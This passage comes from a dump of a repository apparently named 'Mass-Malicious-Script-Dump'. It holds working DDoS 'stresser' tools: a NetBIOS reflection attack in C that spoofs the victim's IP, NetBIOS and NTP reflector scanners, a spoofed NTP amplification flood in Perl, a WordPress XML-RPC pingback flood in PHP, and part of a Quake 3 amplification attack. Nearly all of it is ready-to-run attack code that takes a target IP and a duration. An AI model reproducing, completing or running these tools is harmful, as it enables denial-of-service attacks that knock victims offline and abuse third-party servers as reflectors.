123 |                         usleep(0);
124 |                         i=0;
125 |                 }
126 |                 i++;
127 |         }
128 | }
129 | int main(int argc, char *argv[ ])
130 | {
131 |         if(argc < 4){
132 |                 fprintf(stderr, "Invalid parameters!\n");
133 |                 fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
134 |                 exit(-1);
135 |         }
136 |         int i = 0;
137 |         head = NULL;
138 |         fprintf(stdout, "Setting up Sockets...\n");
139 |         int max_len = 128;
140 |         char *buffer = (char *) malloc(max_len);
141 |         buffer = memset(buffer, 0x00, max_len);
142 |         int num_threads = atoi(argv[4]);
143 |         FILE *list_fd = fopen(argv[3],  "r");
144 |         while (fgets(buffer, max_len, list_fd) != NULL) {
145 |                 if ((buffer[strlen(buffer) - 1] == '\n') ||
146 |                                 (buffer[strlen(buffer) - 1] == '\r')) {
147 |                         buffer[strlen(buffer) - 1] = 0x00;
148 |                         if(head == NULL)
149 |                         {
150 |                                 head = (struct list *)malloc(sizeof(struct list));
151 |                                 bzero(&head->data, sizeof(head->data));
152 |                                 head->data.sin_addr.s_addr=inet_addr(buffer);
153 |                                 head->next = head;
154 |                                 head->prev = head;
155 |                         } else {
156 |                                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
157 |                                 memset(new_node, 0x00, sizeof(struct list));
158 |                                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
159 |                                 new_node->prev = head;
160 |                                 new_node->next = head->next;
161 |                                 head->next = new_node;
162 |                         }
163 |                         i++;
164 |                 } else {
165 |                         continue;
166 |                 }
167 |         }
168 |         struct list *current = head->next;
169 |         pthread_t thread[num_threads];
170 |         struct sockaddr_in sin;
171 |         sin.sin_family = AF_INET;
172 |         sin.sin_port = htons(atoi(argv[2]));
173 |         sin.sin_addr.s_addr = inet_addr(argv[1]);
174 |         struct thread_data td[num_threads];
175 |         for(i = 0;i<num_threads;i++){
176 |                 td[i].thread_id = i;
177 |                 td[i].sin= sin;
178 |                 td[i].list_node = current;
179 |                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
180 |         }
181 |         fprintf(stdout, "Starting Flood...\n");
182 |         if(argc > 5)
183 |         {
184 |                 sleep(atoi(argv[5]));
185 |         } else {
186 |                 while(1){
187 |                         sleep(1);
188 |                 }
189 |         }
190 |         return 0;
191 | }


--------------------------------------------------------------------------------
/Stresser/NETBIOS/netbios_amp_attack.c:
--------------------------------------------------------------------------------
  1 | /* NetBIOS Amplification */
  2 |  
  3 | /* Made by James, credits to whoever made the original SSDP script (LiteSpeed?) */
  4 |  
  5 | #include <time.h>
  6 | #include <pthread.h>
  7 | #include <unistd.h>
  8 | #include <stdio.h>
  9 | #include <stdlib.h>
 10 | #include <string.h>
 11 | #include <sys/socket.h>
 12 | #include <netinet/ip.h>
 13 | #include <netinet/udp.h>
 14 | #include <arpa/inet.h>
 15 | #define MAX_PACKET_SIZE 8192
 16 | #define PHI 0x9e3779b9
 17 | static uint32_t Q[4096], c = 362436;
 18 | struct list
 19 | {
 20 |         struct sockaddr_in data;
 21 |         struct list *next;
 22 |         struct list *prev;
 23 | };
 24 | struct list *head;
 25 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 26 | void init_rand(uint32_t x)
 27 | {
 28 |         int i;
 29 |         Q[0] = x;
 30 |         Q[1] = x + PHI;
 31 |         Q[2] = x + PHI + PHI;
 32 |         for (i = 3; i < 4096; i++)
 33 |         {
 34 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 35 |         }
 36 | }
 37 |  
 38 | uint32_t rand_cmwc(void)
 39 | {
 40 |         uint64_t t, a = 18782LL;
 41 |         static uint32_t i = 4095;
 42 |         uint32_t x, r = 0xfffffffe;
 43 |         i = (i + 1) & 4095;
 44 |         t = a * Q[i] + c;
 45 |         c = (t >> 32);
 46 |         x = t + c;
 47 |         if (x < c) {
 48 |                 x++;
 49 |                 c++;
 50 |         }
 51 |         return (Q[i] = r - x);
 52 | }
 53 |  
 54 | /* function for header checksums */
 55 | unsigned short csum (unsigned short *buf, int nwords)
 56 | {
 57 |         unsigned long sum;
 58 |         for (sum = 0; nwords > 0; nwords--)
 59 |         sum += *buf++;
 60 |         sum = (sum >> 16) + (sum & 0xffff);
 61 |         sum += (sum >> 16);
 62 |         return (unsigned short)(~sum);
 63 | }
 64 |  
 65 | void setup_ip_header(struct iphdr *iph)
 66 | {
 67 |       iph->ihl = 5;
 68 |       iph->version = 4;
 69 |       iph->tos = 0;
 70 |       iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 50;
 71 |       iph->id = htonl(54321);
 72 |       iph->frag_off = 0;
 73 |       iph->ttl = MAXTTL;
 74 |       iph->protocol = IPPROTO_UDP;
 75 |       iph->check = 0;
 76 |       iph->saddr = inet_addr("192.168.3.100");
 77 | }
 78 | 
 79 | void setup_udp_header(struct udphdr *udph)
 80 | {
 81 |       udph->source = htons(5678);
 82 |       udph->dest = htons(137);
 83 |       udph->check = 0;
 84 |       memcpy((void *)udph + sizeof(struct udphdr), "\xe5\xd8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01", 50);
 85 |       udph->len=htons(sizeof(struct udphdr) + 50);
 86 | }
 87 |  
 88 | void *flood(void *par1)
 89 | {
 90 |         struct thread_data *td = (struct thread_data *)par1;
 91 |         char datagram[MAX_PACKET_SIZE];
 92 |         struct iphdr *iph = (struct iphdr *)datagram;
 93 |         struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 94 |         struct sockaddr_in sin = td->sin;
 95 |         struct  list *list_node = td->list_node;
 96 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 97 |         if(s < 0){
 98 |                 fprintf(stderr, "Could not open raw socket.\n");
 99 |                 exit(-1);
100 |         }
101 |         init_rand(time(NULL));
102 |         memset(datagram, 0, MAX_PACKET_SIZE);
103 |         setup_ip_header(iph);
104 |         setup_udp_header(udph);
105 |         udph->source = sin.sin_port;
106 |         iph->saddr = sin.sin_addr.s_addr;
107 |         iph->daddr = list_node->data.sin_addr.s_addr;
108 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
109 |         int tmp = 1;
110 |         const int *val = &tmp;
111 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
112 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
113 |                 exit(-1);
114 |         }
115 |         int i=0;
116 |         while(1){
117 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
118 |                 list_node = list_node->next;
119 |                 iph->daddr = list_node->data.sin_addr.s_addr;
120 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
121 |                 if(i==5)
122 |                 {
123 |                         usleep(0);
124 |                         i=0;
125 |                 }
126 |                 i++;
127 |         }
128 | }
129 | int main(int argc, char *argv[ ])
130 | {
131 |         if(argc < 4){
132 |                 fprintf(stderr, "Invalid parameters!\n");
133 |                 fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
134 |                 exit(-1);
135 |         }
136 |         int i = 0;
137 |         head = NULL;
138 |         fprintf(stdout, "Setting up Sockets...\n");
139 |         int max_len = 128;
140 |         char *buffer = (char *) malloc(max_len);
141 |         buffer = memset(buffer, 0x00, max_len);
142 |         int num_threads = atoi(argv[4]);
143 |         FILE *list_fd = fopen(argv[3],  "r");
144 |         while (fgets(buffer, max_len, list_fd) != NULL) {
145 |                 if ((buffer[strlen(buffer) - 1] == '\n') ||
146 |                                 (buffer[strlen(buffer) - 1] == '\r')) {
147 |                         buffer[strlen(buffer) - 1] = 0x00;
148 |                         if(head == NULL)
149 |                         {
150 |                                 head = (struct list *)malloc(sizeof(struct list));
151 |                                 bzero(&head->data, sizeof(head->data));
152 |                                 head->data.sin_addr.s_addr=inet_addr(buffer);
153 |                                 head->next = head;
154 |                                 head->prev = head;
155 |                         } else {
156 |                                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
157 |                                 memset(new_node, 0x00, sizeof(struct list));
158 |                                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
159 |                                 new_node->prev = head;
160 |                                 new_node->next = head->next;
161 |                                 head->next = new_node;
162 |                         }
163 |                         i++;
164 |                 } else {
165 |                         continue;
166 |                 }
167 |         }
168 |         struct list *current = head->next;
169 |         pthread_t thread[num_threads];
170 |         struct sockaddr_in sin;
171 |         sin.sin_family = AF_INET;
172 |         sin.sin_port = htons(atoi(argv[2]));
173 |         sin.sin_addr.s_addr = inet_addr(argv[1]);
174 |         struct thread_data td[num_threads];
175 |         for(i = 0;i<num_threads;i++){
176 |                 td[i].thread_id = i;
177 |                 td[i].sin= sin;
178 |                 td[i].list_node = current;
179 |                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
180 |         }
181 |         fprintf(stdout, "Starting Flood...\n");
182 |         if(argc > 5)
183 |         {
184 |                 sleep(atoi(argv[5]));
185 |         } else {
186 |                 while(1){
187 |                         sleep(1);
188 |                 }
189 |         }
190 |         return 0;
191 | }


--------------------------------------------------------------------------------
/Stresser/NETBIOS/netbios_amp_scanner.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <unistd.h>
  3 | #include <stdio.h>
  4 | #include <stdlib.h>
  5 | #include <string.h>
  6 | #include <sys/socket.h>
  7 | #include <netinet/in.h>
  8 | #include <signal.h>
  9 | #include <sys/time.h>
 10 | #include <sys/types.h>
 11 | #include <math.h>
 12 | #include <ctype.h>
 13 | #include <errno.h>
 14 | #include <arpa/inet.h>
 15 | #include <netinet/ip.h>
 16 | #include <netinet/udp.h>
 17 | 
 18 | volatile int running_threads = 0;
 19 | volatile int found_srvs = 0;
 20 | volatile unsigned long per_thread = 0;
 21 | volatile unsigned long start = 0;
 22 | volatile unsigned long scanned = 0;
 23 | volatile int sleep_between = 0;
 24 | volatile int bytes_sent = 0;
 25 | volatile unsigned long hosts_done = 0;
 26 | FILE *fd;
 27 | char payload[] =
 28 | "\xe5\xd8\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01";
 29 | 
 30 | size = sizeof(payload);
 31 | 
 32 | void *flood(void *par1)
 33 | {
 34 |     running_threads++;
 35 |     int thread_id = (int)par1;
 36 |     unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
 37 |     unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
 38 |     unsigned long w;
 39 |     int y;
 40 |     unsigned char buf[65536];
 41 |     memset(buf, 0x01, 50);
 42 |     int sizeofpayload = 50;
 43 |     int sock;
 44 |     if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
 45 |         perror("cant open socket");
 46 |         exit(-1);
 47 |     }
 48 |     for(w=ntohl(start_ip);w<htonl(end);w++)
 49 |     {
 50 |         struct sockaddr_in servaddr;
 51 |         bzero(&servaddr, sizeof(servaddr));
 52 |         servaddr.sin_family = AF_INET;
 53 |         servaddr.sin_addr.s_addr=htonl(w);
 54 |         servaddr.sin_port=htons(137);
 55 |         sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
 56 |         bytes_sent+=size;
 57 |         scanned++;
 58 |         hosts_done++;
 59 |     }
 60 |     close(sock);
 61 |     running_threads--;
 62 |     return;
 63 | }
 64 | 
 65 | void sighandler(int sig)
 66 | {
 67 |     fclose(fd);
 68 |     printf("\n");
 69 |     exit(0);
 70 | }
 71 | 
 72 | void *recievethread()
 73 | {
 74 |     printf("\n");
 75 |     int saddr_size, data_size, sock_raw;
 76 |     struct sockaddr_in saddr;
 77 |     struct in_addr in;
 78 | 
 79 |     unsigned char *buffer = (unsigned char *)malloc(65536);
 80 |     sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
 81 |     if(sock_raw < 0)
 82 |     {
 83 |         printf("Socket Error\n");
 84 |         exit(1);
 85 |     }
 86 |     while(1)
 87 |     {
 88 |         saddr_size = sizeof saddr;
 89 |         data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
 90 |         if(data_size <0 )
 91 |         {
 92 |             printf("Recvfrom error , failed to get packets\n");
 93 |             exit(1);
 94 |         }
 95 |         struct iphdr *iph = (struct iphdr*)buffer;
 96 |         if(iph->protocol == 17)
 97 |         {
 98 |             unsigned short iphdrlen = iph->ihl*4;
 99 |             struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
100 |             unsigned char* payload = buffer + iphdrlen + 50;
101 |             if(ntohs(udph->source) == 137)
102 |             {
103 |                 int body_length = data_size - iphdrlen - 50;
104 | 
105 |                 if (body_length > 40)
106 | 
107 |                 {
108 |                 found_srvs++;
109 | 
110 |                 fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
111 |                 fflush(fd);
112 | 
113 |                 }
114 | 
115 |             }
116 |         }
117 | 
118 |     }
119 |     close(sock_raw);
120 | 
121 | }
122 | 
123 | int main(int argc, char *argv[ ])
124 | {
125 | 
126 |     if(argc < 6){
127 | 		fprintf(stderr, "Invalid parameters!\n");
128 |         fprintf(stdout, "NetBIOS Scanner\nUsage: %s <ip range start (192.0.0.0)> <ip range end (198.255.255.255)> <outfile> <threads> <scan delay in ms>\n", argv[0]);
129 |         exit(-1);
130 |     }
131 |     fd = fopen(argv[3], "a");
132 |     sleep_between = atoi(argv[5]);
133 | 
134 |     signal(SIGINT, &sighandler);
135 | 
136 |     int threads = atoi(argv[4]);
137 |     pthread_t thread;
138 | 
139 |     pthread_t listenthread;
140 |     pthread_create( &listenthread, NULL, &recievethread, NULL);
141 | 
142 |     char *str_start = malloc(18);
143 |     memset(str_start, 0, 18);
144 |     str_start = argv[1];
145 |     char *str_end = malloc(18);
146 |     memset(str_end, 0, 18);
147 |     str_end = argv[2];
148 |     start = inet_addr(str_start);
149 |     per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
150 |     unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
151 |     int i;
152 |     for(i = 0;i<threads;i++){
153 |         pthread_create( &thread, NULL, &flood, (void *) i);
154 |     }
155 |     sleep(1);
156 |     printf("Scan in Progress \n");
157 |     char *temp = (char *)malloc(17);
158 |     memset(temp, 0, 17);
159 |     sprintf(temp, "IP Found");
160 |     printf("%-16s", temp);
161 |     memset(temp, 0, 17);
162 |     sprintf(temp, "IP/s");
163 |     printf("%-16s", temp);
164 |     memset(temp, 0, 17);
165 |     sprintf(temp, "Bytes/s");
166 |     printf("%-16s", temp);
167 |     memset(temp, 0, 17);
168 |     sprintf(temp, "Threads");
169 |     printf("%-16s", temp);
170 |     memset(temp, 0, 17);
171 |     sprintf(temp, "Percent Done");
172 |     printf("%s", temp);
173 |     printf("\n");
174 | 
175 |     char *new;
176 |     new = (char *)malloc(16*6);
177 |     while (running_threads > 0)
178 |     {
179 |         printf("\r");
180 |         memset(new, '\0', 16*6);
181 |         sprintf(new, "%s|%-15lu", new, found_srvs);
182 |         sprintf(new, "%s|%-15d", new, scanned);
183 |         sprintf(new, "%s|%-15d", new, bytes_sent);
184 |         sprintf(new, "%s|%-15d", new, running_threads);
185 |         memset(temp, 0, 17);
186 |         int percent_done=((double)(hosts_done)/(double)(toscan))*100;
187 |         sprintf(temp, "%d%%", percent_done);
188 |         sprintf(new, "%s|%s", new, temp);
189 |         printf("%s", new);
190 |         fflush(stdout);
191 |         bytes_sent=0;
192 |         scanned = 0;
193 |         sleep(1);
194 |     }
195 |     printf("\n");
196 |     fclose(fd);
197 |     return 0;
198 | }


--------------------------------------------------------------------------------
/Stresser/NTP/ntp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/NTP/ntp


--------------------------------------------------------------------------------
/Stresser/NTP/ntp_amp_scanner.pl:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/perl
 2 | use strict;
 3 | use Net::IP;
 4 | use IO::Socket;
 5 | use Term::ANSIColor;
 6 | use vars qw( $PROG );
 7 | ( $PROG = $0 ) =~ s/^.*[\/\\]//;
 8 | #Usage
 9 | if ( @ARGV == 0 ) {
10 |         print "Usage: ./$PROG [START-IP] [END-IP] [PORT] [THREADS] [TIMEOUT] [OUTPUT]\n";
11 |     exit;
12 | }
13 | my $threads  = $ARGV[3];
14 | my @ip_team  = ();
15 | $|= 1;
16 | my $ip   = new Net::IP ("$ARGV[0] - $ARGV[1]") or die "Invaild IP Range.". Net::IP::Error() ."\n";
17 | 
18 | 
19 | #Start Forking :D
20 | while ($ip) {
21 | push @ip_team, $ip++ ->ip();
22 | if ( $threads == @ip_team ) { Scan(@ip_team); @ip_team = () }
23 | }
24 | Scan(@ip_team);
25 | 
26 | #Scan
27 | sub Scan
28 | {
29 | my @Pids;
30 | 
31 |         foreach my $ip (@_)
32 |         {
33 |         my $pid        = fork();
34 |         die "Could not fork! $!\n" unless defined $pid;
35 | 
36 |                 if  (0 == $pid)
37 |                 {
38 |                                 alarm 1;
39 |                 #Open socket, save to list, print out open ports
40 |                 my $socket = IO::Socket::INET->new(PeerAddr => $ip , PeerPort => $ARGV[2] , Proto => 'udp' , Timeout => $ARGV[4]);
41 | 
42 | 
43 |                         my $payload = "\x97\x00\x00\x00\xAA\x00\x00\x00";
44 |                         my $good = "\x97\x00\x00\x00";
45 | 
46 |                         $socket->send($payload) or die "Nothing got sent.";
47 | 
48 |                 my $data;
49 |                 $socket->recv($data,4);
50 |                 my $response = substr($data,0,8);
51 |                 $response = reverse($response);
52 |                                 open (MYFILE, ">>$ARGV[5]");
53 |                         if ($response == $good) {
54 |                 print MYFILE "$ip\n" if $socket;
55 |                 print "Found $ip\n";
56 |                 close (MYFILE);}
57 |                 exit
58 |                 }
59 |                 else
60 |                 {
61 |                 push @Pids, $pid
62 |                 }
63 |         }
64 | 
65 | foreach my $pid (@Pids) { waitpid($pid, 0) }
66 | }


--------------------------------------------------------------------------------
/Stresser/NTP/ntp_attack.pl:
--------------------------------------------------------------------------------
  1 | use threads;
  2 | use Socket;
  3 | 
  4 | my $num_of_threads = $ARGV[5];
  5 | my $target = $ARGV[0];
  6 | my $udp_src_port = $ARGV[1];
  7 | my $time = $ARGV[2];
  8 | #Open Input List.
  9 | my $openme = $ARGV[3];
 10 | open my $handle, '<', $openme;
 11 | chomp(my @servers = <$handle>);
 12 | close $handle;
 13 | my $ppr = $ARGV[4];
 14 | my @threads = initThreads();
 15 | print "I guess im attacking $target for $time seconds with $num_of_threads threads\n";
 16 | 
 17 | #Does the list exist?
 18 | if (-e $openme) {
 19 |         print "Using $openme as list.\n";
 20 | }
 21 | unless (-e $openme) {
 22 |         print "List does not exist.\n";
 23 | exit();
 24 | }
 25 | 
 26 | #Start Threading
 27 | foreach(@threads){
 28 |                 $_ = threads->create(\&attackshit);
 29 | }
 30 | foreach(@threads){
 31 |         $_->join();
 32 | }
 33 | sub initThreads{
 34 |         my @initThreads;
 35 |         for(my $i = 1;$i<=$num_of_threads;$i++){
 36 |                 push(@initThreads,$i);
 37 |         }
 38 |         return @initThreads;
 39 | }
 40 | 
 41 | 
 42 | #Start DDosing.
 43 | sub attackshit{
 44 | 
 45 | alarm("$time");
 46 | repeat: my $ip_dst = ( gethostbyname( $servers[ int( rand(@servers) ) ] ) )[4];
 47 | my $ip_src = ( gethostbyname($target) )[4];
 48 | socket( RAW, AF_INET, SOCK_RAW, 255 ) or die $!;
 49 | setsockopt( RAW, 0, 1, 1 );
 50 | main();
 51 | 
 52 | sub main {
 53 |     my $packet;
 54 |     $packet = ip_header();
 55 |     $packet .= udp_header();
 56 |     $packet .= payload();
 57 |                 #send_packet($packet) && goto repeat;
 58 |                 #send_packet($packet)
 59 | for (1 .. $ppr) {
 60 |         send_packet($packet) or last;
 61 |         }
 62 | goto repeat;
 63 | }
 64 | 
 65 | sub ip_header {
 66 |     my $ip_ver  = 4;
 67 |     my $ip_header_len  = 5;
 68 |     my $ip_tos  = 0;
 69 |     my $ip_total_len   = $ip_header_len + 20;
 70 |     my $ip_frag_id  = 0;
 71 |     my $ip_frag_flag   = "\x30\x31\x30";
 72 |     my $ip_frag_offset = "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30";
 73 |     my $ip_ttl  = 255;
 74 |     my $ip_proto  = 17;
 75 |     my $ip_checksum    = 0;
 76 |     my $ip_header  = pack(
 77 | "\x48\x32\x20\x48\x32\x20\x6E\x20\x6E\x20\x42\x31\x36\x20\x68\x32\x20\x63\x20\x6E\x20\x61\x34\x20\x61\x34",
 78 |   $ip_ver . $ip_header_len,  $ip_tos,
 79 |   $ip_total_len,  $ip_frag_id,
 80 |   $ip_frag_flag . $ip_frag_offset, $ip_ttl,
 81 |   $ip_proto,  $ip_checksum,
 82 |   $ip_src,  $ip_dst
 83 |     );
 84 |     return $ip_header;
 85 | }
 86 | 
 87 | sub udp_header {
 88 |     my $udp_dst_port = 123;
 89 |     my $udp_len  = 8 + length( payload() );
 90 |     my $udp_checksum = 0;
 91 |     my $udp_header   = pack( "\x6E\x20\x6E\x20\x6E\x20\x6E",
 92 |   $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum );
 93 |     return $udp_header;
 94 | }
 95 | 
 96 | sub payload {
 97 |     my $data = "\x17\x00\x03\x2a" . "\x00" x 4;
 98 |     my $payload = pack( "\x61" . length($data), $data );
 99 |     return $payload;
100 | }
101 | 
102 | sub send_packet {
103 |     send( RAW, $_[0], 0,
104 |   pack( "\x53\x6E\x61\x34\x78\x38", AF_INET, 60, $ip_dst ) );
105 | }
106 | 
107 | }


--------------------------------------------------------------------------------
/Stresser/OVH/OVH_:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/OVH/OVH_


--------------------------------------------------------------------------------
/Stresser/OVH/ovh:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/OVH/ovh


--------------------------------------------------------------------------------
/Stresser/OVH/ovhfilter.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | function partition( $list, $p ) {
 4 |         $listlen = count( $list );
 5 |         $partlen = floor( $listlen / $p );
 6 |         $partrem = $listlen % $p;
 7 |         $partition = array();
 8 |         $mark = 0;
 9 |         for ($px = 0; $px < $p; $px++) {
10 |                 $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
11 |                 $partition[$px] = array_slice( $list, $mark, $incr );
12 |                 $mark += $incr;
13 |         }
14 |         return $partition;
15 | }
16 | 
17 | $part = array();
18 | $array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
19 | $childcount = $argv[2];
20 | $part = partition($array, $childcount);
21 | 
22 | $shm_id = shmop_open(23377332, "c", 0666, 1024);
23 | shmop_close($shm_id);
24 | 
25 | if(pcntl_fork() == 0)
26 | {
27 |         $sem = sem_get(13377331, 1, 0666, 1);
28 |         $shm_id = shmop_open(23377332, "c", 0666, 1024);
29 |         $total = 0;
30 |         while(true)
31 |         {
32 |                 sem_acquire($sem);
33 |                 $number = shmop_read($shm_id, 0, 1024);
34 |                 $total += $number;
35 |                 $string = array();
36 |                 array_push($string, $number);
37 |                 array_push($string, " R/s ");
38 |                 array_push($string, $total);
39 |                 array_push($string, " Total Requests                              \r");
40 |                 echo implode("", $string);
41 |                 unset($string);
42 |                 shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
43 |                 sem_release($sem);
44 |                 sleep(1);
45 |         }
46 | 
47 |         exit;
48 | }
49 | 
50 | for($i = 0; $i < $childcount; $i ++)
51 | {
52 |         $pid = pcntl_fork();
53 |         if ($pid == -1) {
54 |                 echo "failed to fork on loop $i of forking\n";
55 |                 exit;
56 |         } else if ($pid) {
57 |                 continue;
58 |         } else {
59 |                 $sem = sem_get(13377331, 1, 0666, 1);
60 |                 $shm_id = shmop_open(23377332, "c", 0666, 1024);
61 |                 while(true)
62 |                 {
63 |                         foreach($part[$i] as $ip)
64 |                         {
65 | 
66 |                                 list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
67 |                                 $url = array();
68 |                                 array_push($url, $argv[1]);
69 |                                 array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
70 |                                 array_push($url, rand(1000000, 9999999));
71 |                                 array_push($url, "=");
72 |                                 array_push($url, rand(1000000, 9999999));
73 |                                 $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
74 |                                 unset($url);
75 |                                 $context = stream_context_create(array('http' => array(
76 |                                         'method' => "POST",
77 |                                         'header' => "Content-Type: text/xml",
78 |                                         'content' => $request
79 |                                 )));
80 |                                 @file_get_contents($service, false, $context);
81 |                                 sem_acquire($sem);
82 |                                 $number = shmop_read($shm_id, 0, 1024);
83 |                                 $number = intval($number);
84 |                                 $number++;
85 |                                 shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
86 |                                 sem_release($sem);
87 |                         }
88 |                 }
89 |                 die;
90 |         }
91 | }
92 | 
93 | for($j = 0; $j < $childcount; $j++)
94 | {
95 |         $pid = pcntl_wait($status);
96 | }


--------------------------------------------------------------------------------
/Stresser/QUAKE 3/quake_3_amp_attack.c:
--------------------------------------------------------------------------------
  1 | /* quake3 amplification script */
  2 | 
  3 | #include <time.h>
  4 | #include <pthread.h>
  5 | #include <unistd.h>
  6 | #include <stdio.h>
  7 | #include <stdlib.h>
  8 | #include <string.h>
  9 | #include <sys/socket.h>
 10 | #include <netinet/ip.h>
 11 | #include <netinet/udp.h>
 12 | #include <arpa/inet.h>
 13 | #define MAX_PACKET_SIZE 8192
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct list
 17 | {
 18 | 	struct sockaddr_in data;
 19 | 	struct list *next;
 20 | 	struct list *prev;
 21 | };
 22 | struct list *head;
 23 | volatile int tehport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 28 | void init_rand(uint32_t x)
 29 | {
 30 | 	int i;
 31 | 	Q[0] = x;
 32 | 	Q[1] = x + PHI;
 33 | 	Q[2] = x + PHI + PHI;
 34 | 	for (i = 3; i < 4096; i++)
 35 | 	{
 36 | 	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | 	}
 38 | }
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 | 	uint64_t t, a = 18782LL;
 42 | 	static uint32_t i = 4095;
 43 | 	uint32_t x, r = 0xfffffffe;
 44 | 	i = (i + 1) & 4095;
 45 | 	t = a * Q[i] + c;
 46 | 	c = (t >> 32);
 47 | 	x = t + c;
 48 | 	if (x < c) {
 49 | 	x++;
 50 | 	c++;
 51 | 	}
 52 | 	return (Q[i] = r - x);
 53 | }
 54 | unsigned short csum (unsigned short *buf, int nwords)
 55 | {
 56 | 	unsigned long sum = 0;
 57 | 	for (sum = 0; nwords > 0; nwords--)
 58 | 	sum += *buf++;
 59 | 	sum = (sum >> 16) + (sum & 0xffff);
 60 | 	sum += (sum >> 16);
 61 | 	return (unsigned short)(~sum);
 62 | }
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 | 	iph->ihl = 5;
 66 | 	iph->version = 4;
 67 | 	iph->tos = 0;
 68 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
 69 | 	iph->id = htonl(54321);
 70 | 	iph->frag_off = 0;
 71 | 	iph->ttl = MAXTTL;
 72 | 	iph->protocol = IPPROTO_UDP;
 73 | 	iph->check = 0;
 74 | 	iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 | void setup_udp_header(struct udphdr *udph)
 77 | {
 78 | 	udph->source = htons(5678);
 79 | 	udph->dest = htons(27960);
 80 | 	udph->check = 0;
 81 | 	memcpy((void *)udph + sizeof(struct udphdr), "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0a", 14);
 82 | 	udph->len=htons(sizeof(struct udphdr) + 14);
 83 | }
 84 | void *flood(void *par1)
 85 | {
 86 | 	struct thread_data *td = (struct thread_data *)par1;
 87 | 	char datagram[MAX_PACKET_SIZE];
 88 | 	struct iphdr *iph = (struct iphdr *)datagram;
 89 | 	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 90 | 	struct sockaddr_in sin = td->sin;
 91 | 	struct  list *list_node = td->list_node;
 92 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 93 | 	if(s < 0){
 94 | 	fprintf(stderr, "Could not open raw socket.\n");
 95 | 	exit(-1);
 96 | 	}
 97 | 	init_rand(time(NULL));
 98 | 	memset(datagram, 0, MAX_PACKET_SIZE);
 99 | 	setup_ip_header(iph);
100 | 	setup_udp_header(udph);
101 | 	udph->source = htons(rand() % 65535 - 1026);
102 | 	iph->saddr = sin.sin_addr.s_addr;
